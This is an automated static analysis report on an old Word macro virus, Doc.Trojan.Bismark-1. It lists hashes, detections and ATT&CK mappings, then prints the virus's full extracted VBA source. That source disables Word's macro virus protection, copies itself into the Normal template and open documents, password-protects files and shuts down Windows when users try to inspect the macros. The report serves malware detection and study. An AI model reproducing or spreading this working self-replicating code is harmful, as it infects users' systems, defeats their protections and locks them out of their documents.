Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 23868297b3efa261…

MALICIOUS

Office (OLE)

44.0 KB Created: 2001-06-08 19:04:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: b062369a362bc012c0446969401c2e5e SHA-1: 241833777ee460b87a1298907467434b3d803e17 SHA-256: 23868297b3efa261046d99d4b97392f901c59047beb355b112786e9cdf47fb51
248 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample is identified as a legacy WordBasic macro virus, specifically 'Doc.Trojan.Bismark-1'. It contains an AutoOpen macro that attempts to copy itself to the Normal template and the active document, indicating a self-propagation mechanism. The macro also disables security features like VirusProtection and attempts to modify the Normal template, suggesting a malicious intent to persist and potentially deliver further payloads.

Heuristics 5

  • ClamAV: Doc.Trojan.Bismark-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Bismark-1
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA macro-virus self-replication / AV tampering critical OLE_VBA_MACRO_VIRUS_REPLICATION
    VBA macro programmatically rewrites VBA project code through the VBE object model (CodeModule/VBComponents InsertLines/DeleteLines/AddFromString or OrganizerCopy) to copy itself into the global template and other open documents, and/or disables Office macro-virus protection (Options.VirusProtection = False). This is the defining behavior of the W97M document macro-virus family — self-replicating code with no benign document use, independent of any AV signature.
    Matched line in script
        Options.VirusProtection = False
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub AutoOpen()
  • Legacy WordBasic macro-virus markers high OLE_LEGACY_WORDBASIC_MACRO_VIRUS
    OLE Word document contains legacy WordBasic auto-execution macro markers such as AutoOpen plus ToolsMacro/MacroFile/fileMacro/globMacro or named historical macro-virus strings. These old Word 6/95 macro forms are not exposed as a modern VBA project, so normal VBA source extraction can miss them.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 3804 bytes
SHA-256: 4fa3d0933908e9e3eeb4737ce09763f67e25bb4600d20fb93d00897e6dd83203
Detection
ClamAV: Doc.Trojan.Bismark-1
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Option Explicit


Attribute VB_Name = "BisMark"
Sub AutoOpen()
    On Error GoTo BisMark

    Application.ScreenUpdating = False
    Application.DisplayAlerts = wdAlertsNone
      
    SetAttr "c:\program files\microsoft office\templates\normal.dot", vbNormal

    WordBasic.DisableAutoMacros 0
    Options.VirusProtection = False

    Set ActiveDoc = ActiveDocument
    Set GlobalDoc = NormalTemplate

    documentinstalled = False
    Globalinstalled = False

    For I = 1 To ActiveDocument.VBProject.VBComponents.Count
        If ActiveDocument.VBProject.VBComponents(I).Name = "BisMark" Then
            documentinstalled = True
        End If
   Next
  
   For J = 1 To NormalTemplate.VBProject.VBComponents.Count
        If NormalTemplate.VBProject.VBComponents(J).Name = "BisMark" Then
            Globalinstalled = True
        End If
    Next

    If documentinstalled = False Then
        Application.OrganizerCopy Source:=NormalTemplate.FullName, Destination:=ActiveDocument.FullName, Name:="BisMark", Object:=wdOrganizerObjectProjectItems
        ActiveDoc.SaveAs FileName:=ActiveDoc.Name, FileFormat:=wdFormatTemplate
        
    End If

    If Globalinstalled = False Then
        Application.OrganizerCopy Source:=ActiveDocument.FullName, Destination:=NormalTemplate.FullName, Name:="BisMark", Object:=wdOrganizerObjectProjectItems
        Options.SaveNormalPrompt = False
        
    End If

    Application.DisplayAlerts = wdAlertsAll

BisMark:
BisMark
End Sub
Sub BisMark()
On Error GoTo BisMark
Application.StatusBar = True
StatusBar = "BisMark1 WMV97"
Application.Caption = "BisMark1 WMV97"
With ActiveDocument
.BuiltInDocumentProperties(wdPropertyTitle) = "BisMark1"
.BuiltInDocumentProperties(wdPropertySubject) = "Word Macro Virri"
.BuiltInDocumentProperties(wdPropertyAuthor) = "Talon 1997"
.BuiltInDocumentProperties(wdPropertyManager) = "Talon 1997"
.BuiltInDocumentProperties(wdPropertyCompany) = "Virii Productions"
.BuiltInDocumentProperties(wdPropertyComments) = "This Word Macro Virus was Made By Talon"
End With
If WeekDay(Now()) = 4 And Hour(Now()) = 12 Then
AutoCorrect.Entries.Add Name:="the", Value:="Word Macro Virus BisMark1, Written By Talon"
Else
End If
BisMark:
End Sub
Sub ToolsMacro()
On Error GoTo BisMark
ActiveDocument.Password = "Bismark"
Documents.Close SaveChanges:=wdSaveChanges

Assistant.Visible = True
With Assistant.NewBalloon
.Icon = msoIconAlert
.Text = "You Should Have Left Me Alone, I Was Not Hurting Anything. Now I'am Mad!"
.Heading = "Word Macro Virus BisMark1"
.Animation = msoAnimationSearching
.Show
End With
Tasks.ExitWindows

BisMark:
End Sub
Sub Toolscustomize()
On Error GoTo BisMark
ActiveDocument.Password = "Bismark"
Documents.Close SaveChanges:=wdSaveChanges

Assistant.Visible = True
With Assistant.NewBalloon
.Icon = msoIconAlert
.Text = "You Should Have Left Me Alone, I Was Not Hurting Anything. Now I'am Mad!"
.Heading = "Word Macro Virus BisMark1"
.Animation = msoAnimationSearching
.Show
End With
Tasks.ExitWindows

BisMark:
End Sub
Sub ViewVBcode()
On Error GoTo BisMark
ActiveDocument.Password = "Bismark"
Documents.Close SaveChanges:=wdSaveChanges

Assistant.Visible = True
With Assistant.NewBalloon
.Icon = msoIconAlert
.Text = "You Should Have Left Me Alone, I Was Not Hurting Anything. Now I'am Mad!"
.Heading = "Word Macro Virus BisMark1"
.Animation = msoAnimationSearching
.Show
End With
Tasks.ExitWindows

BisMark:
End Sub

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